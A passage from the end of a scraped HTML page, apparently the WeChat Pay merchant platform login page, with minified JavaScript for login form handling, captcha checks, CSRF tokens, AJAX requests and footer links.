7:MCH.home.ossAttrIncAPI(63769,25);break;case 8:MCH.home.ossAttrIncAPI(63769,26);break;case 9:MCH.home.ossAttrIncAPI(63769,27);break;case 10:MCH.home.ossAttrIncAPI(63769,28);break;default:MCH.home.ossAttrIncAPI(63769,29);break;} var ua=navigator.userAgent.toLowerCase();var reg=/[Aa]ndroid/;if(reg.test(ua)){MCH.home.ossAttrIncAPI(63769,31);}else{MCH.home.ossAttrIncAPI(63769,32);}};MCH.home.bind=function(){$("input[name=username]").focus();if($getCookie("username")){MCH.home.ossAttrIncAPI(63769,30);$("input[name=username]").val($getCookie("username"));$("#memory_username").addClass('cbx-on');} $("input[name=username]").on('focus',function(){MCH.home.ossAttrIncAPI(63769,17);$(".login-form").removeClass("login-password-on");$(".login-form").addClass("login-account-on");});$("input[name=password]").on('focus',function(){$(".login-form").removeClass("login-account-on");$(".login-form").addClass("login-password-on");homeThat.tenpayEdit.show();});$("input[name=username]").on('blur',function(){MCH.home.userNameBlur();$(".login-form").removeClass("login-account-on");$(".login-form").addClass("login-password-on");homeThat.tenpayEdit.show();});$("#memory_username_label").on('click',function(){if($('#memory_username').hasClass('cbx-on')){$('#memory_username').removeClass('cbx-on');}else{$('#memory_username').addClass('cbx-on');}});$("#do_login").on('click',function(){$("#errmsg").text("").addClass('hide');var temp_usrname=$(".login-form").find("input[name=username]").val();$(".login-form").find("input[name=username]").val($strTrim(temp_usrname));if($("#memory_username").hasClass('cbx-on')){$setCookie('username',$("input[name=username]").val(),'3600');}else{$setCookie('username',$("input[name=username]").val());} var username=$(".login-form").find("input[name=username]").val();var password=$(".login-form").find("input[name=password]").val();password=homeThat.tenpayEdit.getPwd();if(username&&password){password=Common.encryptPassword(password);if($(".login-verify").html()){if($("input[name=checkword_in]").val()){if($("input[name=checkword_in]").val().length!=4){$("#errmsg").text('请检查验证码').removeClass('hide');}else{$(".login-form").find("input[name=password]").val(password);$(".login-form").submit();}} else{$("#errmsg").text('请输入验证码').removeClass('hide');}}else{$(".login-form").find("input[name=password]").val(password);$(".login-form").submit();}}else{if(username.length==0&&password===false){$("#errmsg").text('请输入帐号和密码').removeClass('hide');}else if(username.length==0){$("#errmsg").text('请输入登录帐号').removeClass('hide');}else{$("#errmsg").text(homeThat.tenpayEdit.errmsg).removeClass('hide');}}});};MCH.home.init(); window['MCH.home']='22134:20140516:20170105201629'; window['MCH.home.time'] && window['MCH.home.time'].push(new Date()); </script><!--[if !IE]>|xGv00|6f5e5c77fe153f6e42ad173204c021c5<![endif]--> <script>window["MCH.cms.time"]=[new Date()]</script> <script id="legos:22392" ver="22392:20151027:20160810123858" name="MCH.cms" src="https://wx.gtimg.com/mch/js/ver/2015/10/mch.cms.20151027.js?t=20160810123858" charset="utf-8"></script><!--[if !IE]>|xGv00|b299de016a6e1f795625ccbc51c6c029<![endif]--> <!-- 底部[[ --> <div class="footer"> <div class="wrap"> <p> <a target="_blank" href="http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=1&type=0">关于财付通</a> <i class="vs">|</i> <a target="_blank" href="https://pay.weixin.qq.com/index.php/core/home/pay_pact_v4">平台使用协议</a> <i class="vs">|</i> <a href="https://pay.weixin.qq.com/index.php/public/apply_sign/protocol_v2" target="_blank">支付服务协议</a> <i class="vs">|</i> Powered By Tencent & Tenpay Copyright© 2005-<script> var year=""; mydate=new Date(); myyear=mydate.getYear(); year=(myyear > 200) ? myyear : 1900 + myyear; document.write(year); </script>2017 Tenpay All Rights Reserved. </p> <p> <a target="_blank" href="http://weixin.qq.com/">微信</a> <i class="vs">|</i> <a target="_blank" href="https://mp.weixin.qq.com/">微信公众平台</a> <i class="vs">|</i> <a target="_blank" href="https://open.weixin.qq.com/">微信开放平台</a> <i class="vs">|</i> <a target="_blank" href="http://e.qq.com/">广点通</a> <i class="vs">|</i> <a target="_blank" href="http://open.qq.com/">腾讯开放平台</a> </p> </div> </div> <script type="text/javascript">if(typeof $jqueryUi == "undefined"){document.write('<script type="text/javascript" src="https://wx.gtimg.com/third/jquery/jquery-ui.js"></script"+">');}</script><script type="text/javascript" src="https://wx.gtimg.com/third/jquery/jquery-ui.js"></script"+"> <script>window["MCH.footer.time"]=[new Date()]</script> <script id="legos:22125" ver="22125:20140422:20161206161027" name="MCH.footer" charset="utf-8"> window['MCH.footer.time'] && window['MCH.footer.time'].push(new Date()); function $addToken(url,type,skey){var token=$getToken(skey);if(url==""||(url.indexOf("://")<0?location.href:url).indexOf("http")!=0){return url;} if(url.indexOf("#")!=-1){var f1=url.match(/\?.+\#/);if(f1){var t=f1[0].split("#"),newPara=[t[0],"&g_tk=",token,"&g_ty=",type,"#",t[1]].join("");return url.replace(f1[0],newPara);}else{var t=url.split("#");return[t[0],"?g_tk=",token,"&g_ty=",type,"#",t[1]].join("");}} return token==""?(url+(url.indexOf("?")!=-1?"&":"?")+"g_ty="+type):(url+(url.indexOf("?")!=-1?"&":"?")+"g_tk="+token+"&g_ty="+type);};var $ajax=(function(window,undefined){var oXHRCallbacks,xhrCounter=0;var fXHRAbortOnUnload=window.ActiveXObject?function(){for(var key in oXHRCallbacks){oXHRCallbacks[key](0,1);}}:false;return function(opt){var o={url:'',method:'GET',data:null,type:"text",async:true,cache:false,timeout:0,autoToken:true,username:'',password:'',beforeSend:$empty(),onSuccess:$empty(),onError:$empty(),onComplete:$empty()};for(var key in opt){o[key]=opt[key]} var callback,timeoutTimer,xhrCallbackHandle,ajaxLocation,ajaxLocParts;try{ajaxLocation=location.href;} catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href;} ajaxLocParts=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/.exec(ajaxLocation.toLowerCase())||[];o.isLocal=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/.test(ajaxLocParts[1]);o.method=(typeof(o.method)!="string"||o.method.toUpperCase()!="POST")?"GET":"POST";o.data=(typeof o.data=="string")?o.data:$makeUrl(o.data);if(o.method=='GET'&&o.data){o.url+=(o.url.indexOf("?")<0?"?":"&")+o.data;} if(o.autoToken){o.url=$addToken(o.url,"ajax");} o.xhr=$xhrMaker();if(o.xhr===null){return false;} try{if(o.username){o.xhr.open(o.method,o.url,o.async,o.username,o.password);} else{o.xhr.open(o.method,o.url,o.async);}} catch(e){o.onError(-2,e);return false;} if(o.method=='POST'){o.xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');} if(!o.cache){o.xhr.setRequestHeader('If-Modified-Since','Thu, 1 Jan 1970 00:00:00 GMT');o.xhr.setRequestHeader('Cache-Control','no-cache');} o.beforeSend(o.xhr);if(o.async&&o.timeout>0){if(o.xhr.timeout===undefined){timeoutTimer=setTimeout(function(){if(o.xhr&&callback){callback(0,1);} o.onError(0,null,'timeout');},o.timeout);} else{o.xhr.timeout=o.timeout;o.xhr.ontimeout=function(){if(o.xhr&&callback){callback(0,1);} o.onError(0,null,'timeout');};}} o.xhr.send(o.method=='POST'?o.data:null);callback=function(e,isAbort){if(timeoutTimer){clearTimeout(timeoutTimer);timeoutTimer=undefined;} if(callback&&(isAbort||o.xhr.readyState===4)){callback=undefined;if(xhrCallbackHandle){o.xhr.onreadystatechange=$empty();if(fXHRAbortOnUnload){try{delete oXHRCallbacks[xhrCallbackHandle];} catch(e){}}} if(isAbort){if(o.xhr.readyState!==4){o.xhr.abort();}} else{var status,statusText,responses;responses={headers:o.xhr.getAllResponseHeaders()};status=o.xhr.status;try{statusText=o.xhr.statusText;} catch(e){statusText="";} try{responses.text=o.xhr.responseText;} catch(e){responses.text="";} if(!status&&o.isLocal){status=responses.text?200:404;} else if(status===1223){status=204;} if(status>=200&&status<300){responses.text=responses.text.replace(/<!--\[if !IE\]>[\w\|]+<!\[endif\]-->/g,'');switch(o.type){case'text':o.onSuccess(responses.text);break;case"json":var json;try{json=(new Function("return ("+responses.text+")"))();} catch(e){o.onError(status,e,responses.text);} if(json){o.onSuccess(json);} break;case"xml":o.onSuccess(o.xhr.responseXML);break;}} else{if(status===0&&o.timeout>0){o.onError(status,null,'timeout');} else{o.onError(status,null,statusText);}} o.onComplete(status,statusText,responses);} delete o.xhr;}};if(!o.async){callback();} else if(o.xhr.readyState===4){setTimeout(callback,0);} else{xhrCallbackHandle=++xhrCounter;if(fXHRAbortOnUnload){if(!oXHRCallbacks){oXHRCallbacks={};if(window.attachEvent){window.attachEvent("onunload",fXHRAbortOnUnload);} else{window["onunload"]=fXHRAbortOnUnload;}} oXHRCallbacks[xhrCallbackHandle]=callback;} o.xhr.onreadystatechange=callback;}};})(window,undefined);function $empty(){return function(){return true;}};function $getCookie(name){var reg=new RegExp("(^| )"+name+"(?:=([^;]*))?(;|$)"),val=document.cookie.match(reg);return val?(val[2]?unescape(val[2]):""):null;};function $getToken(skey){var skey=skey?skey:$getCookie("skey");return skey?$time33(skey):"";};function $makeUrl(data){var arr=[];for(var k in data){arr.push(k+"="+data[k]);};return arr.join("&");};function $namespace(name){for(var arr=name.split(','),r=0,len=arr.length;r<len;r++){for(var i=0,k,name=arr[r].split('.'),parent={};k=name[i];i++){i===0?eval('(typeof '+k+')==="undefined"?('+k+'={}):"";parent='+k):(parent=parent[k]=parent[k]||{});}}};function $time33(str){for(var i=0,len=str.length,hash=5381;i<len;++i){hash+=(hash<<5)+str.charAt(i).charCodeAt();};return hash&0x7fffffff;};function $xhrMaker(){var xhr;try{xhr=new XMLHttpRequest();}catch(e){try{xhr=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{xhr=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){xhr=null;}}};return xhr;};$namespace("MCH.footer");MCH.footer={searchChildMerchantTimer:'',searchChildMerchantName:'',protocolDG:'',protocolCbx:'',protocolBtn:''};MCH.footer.init=function(){footerThat=this;footerThat.bind();footerThat.changeVerify();MCH.footer.protocolDG=Common.getPop('MchProtocolDG');MCH.footer.protocolBtn=$('#MchProtocolBn');MCH.footer.protocolCbx=Common.getCbx({id:'MchProtocolCbx',onCheck:function(){MCH.footer.protocolBtn.removeClass('btn-default').addClass('btn-primary');},onUnCheck:function(){MCH.footer.protocolBtn.removeClass('btn-primary').addClass('btn-default');}});MCH.footer.checkSignProtocol();};MCH.footer.bind=function(){footerThat.bindChangeCheckimg();footerThat.bindDatepicker();MCH.header.bindCloseDialog();footerThat.bindSelect();$('#MchProtocolBn').on('click',function(){if(MCH.footer.protocolCbx.isCheck()){var postData=Common.getCrsfToken();var ret=false;$ajax({url:'/index.php/core/merchant/sign_mch_protocol',data:postData,method:'post',type:'json',async:false,onSuccess:function(data){MCH.header.handleAjax(data);if(data.errorcode!=0){ret=false;}else{ret=true;}},onError:function(msg){ret=false;}});if(!ret){MCH.header.showErrorAlertDialog('操作失败,请稍后重试');}else{MCH.footer.protocolDG.close();}}});};MCH.footer.changeVerify=function(){if($(".img-verify").size()>0){$(".img-verify").attr("src","http://captcha.qq.com/getimage?aid=755049101&rd="+Math.random());}};MCH.footer.bindChangeCheckimg=function(){$(".change-verify").on('click',function(){footerThat.changeVerify();});$(".checkimg-input").on('keydown',function(){var value=$(this).val();result=false;if(value.length==4){var token_name=$("#token").attr("name");var hash=$("#token").val();var post_data=token_name+'='+hash+'&verify_word='+value;$ajax({url:'/index.php/core/home/vaild_checkimg',data:post_data,method:'post',type:'json',async:false,onSuccess:function(data){if(data.errorcode==0){result=true;}else{}},onError:function(msg){result=false;}});}});};MCH.footer.bindDatepicker=function(timepicker){if($(".datepicker-input").size()<=0){return false;} false?$jqueryUi():'';timepicker=timepicker?true:false;var format='Y-m-d';if(timepicker){format='Y-m-d H:i';} $('.datepicker-input').datetimepicker({defaultTime:'00:00:00',step:1,format:format,lang:'ch',timepicker:timepicker,yearStart:1970,closeOnDateSelect:true});$("input.datepicker-input").next("i.ico-date").on('click',function(){$(this).prev('input.datepicker-input').focus();});};MCH.footer.bindSelect=function(){$("div.dropdown-menu").on('click',function(){$(this).addClass('open');});$("ul.dropdown-list").on('click','li',function(){var value=$(this).children("a").attr('data-target');var text=$(this).children("a").text();var drop_switch=$(this).parent().prev("a.dropdown-switch");drop_switch.attr('data-target',value);drop_switch.children('label').text(text);var id=drop_switch.children('label').attr('id');var name=drop_switch.children('label').html();$(this).parent().parent().removeClass('open');typeof SelectCallBack=='function'&&SelectCallBack(id,name);return false;});$("div.dropdown-menu").mouseleave(function(){if($(this).hasClass('open')){$(this).removeClass('open');}});};MCH.footer.searchChildMerchant=function(params){var obj=params['obj'];var value=obj.val();if(value!=MCH.footer.searchChildMerchantName){return false;} var merchants={};var curpage=params['curpage'];var total_page=1;var isAppend=params['isAppend'];var list=obj.parent().parent().children('ul.dropdown-list');if(!isAppend){list.children().remove();} var token_name=$("#token").attr("name");var hash=$("#token").val();var post_data=token_name+'='+hash+'&merchant_name='+value+'&page_num='+curpage;$ajax({url:'/index.php/extend/child_merchant/query_merchant_by_name',data:post_data,method:'post',type:'json',async:true,onSuccess:function(data){if(data.errorcode==0){merchants=data.data.list;curpage=data.data.curpage;total_page=data.data.total_page;for(var key in merchants){var model='<li><a href="#" data-target="'+key+'">'+merchants[key]+'</a></li>';list.append(model);} if(curpage<total_page){var nextPage=parseInt(curpage,10)+1;var model='<dl class="jsDropDownLiMerchantMore"><a href="#" data-target="'+nextPage+'">获取更多子商户</a></dl>';list.append(model);}}},onError:function(msg){}});};MCH.footer.checkSignProtocol=function(){var whiteUrl=['/index.php/core/home','/index.php/core/apply_progress','/index.php/core/apply_bank','/index.php/core/apply_sign','/index.php/core/merchantupgrading','/index.php/core/submerchant/create_sub_merchant','/index.php/public/cms'];var localtion=window.location.pathname;prefix='/index.php';if(localtion.substr(0,prefix.length)!=prefix){localtion=prefix+localtion;} for(var i=0;i<whiteUrl.length;i++){if(localtion.substr(0,whiteUrl[i].length)==whiteUrl[i]){return;}} var postData=Common.getCrsfToken();$ajax({url:'/index.php/public/merchant/check_sign_protocol',data:postData,method:'post',type:'json',async:true,onSuccess:function(data){MCH.header.handleAjax(data);if(data.errorcode!=0){MCH.footer.protocolDG.open();}},onError:function(msg){}});};MCH.footer.init(); window['MCH.footer']='22125:20140422:20161206161027'; window['MCH.footer.time'] && window['MCH.footer.time'].push(new Date()); </script><!--[if !IE]>|xGv00|f223e6d2e6d5217ac8b233a5d7602c18<![endif]--> <script>TA_STATS_ARGS={}</script> <script type="text/javascript" src="https://tajs.qq.com/res/js/wechatpay.min.js" charset="UTF−8"></script> <!-- <script type="text/javascript" src="https://res.wx.qq.com/payactres/zh_CN/htmledition/js/lib/analysis/2.0/lib-min.js" charset="UTF−8" async="async" defer="defer"></script> --> <!--[if !IE]>|xGv00|f5ede3a717a9f61ace3f2ab9101502d0<![endif]--> <!-- 底部 ]] --> <script language="javascript" src="https://pingjs.qq.com/tcss.ping.https.js"></script> <script language="javascript"> if(typeof(pgvMain) == 'function') pgvMain(); </script> <!--[if !IE]>|xGv00|d554775be84487e94ed910def6bb127d<![endif]--></body></html>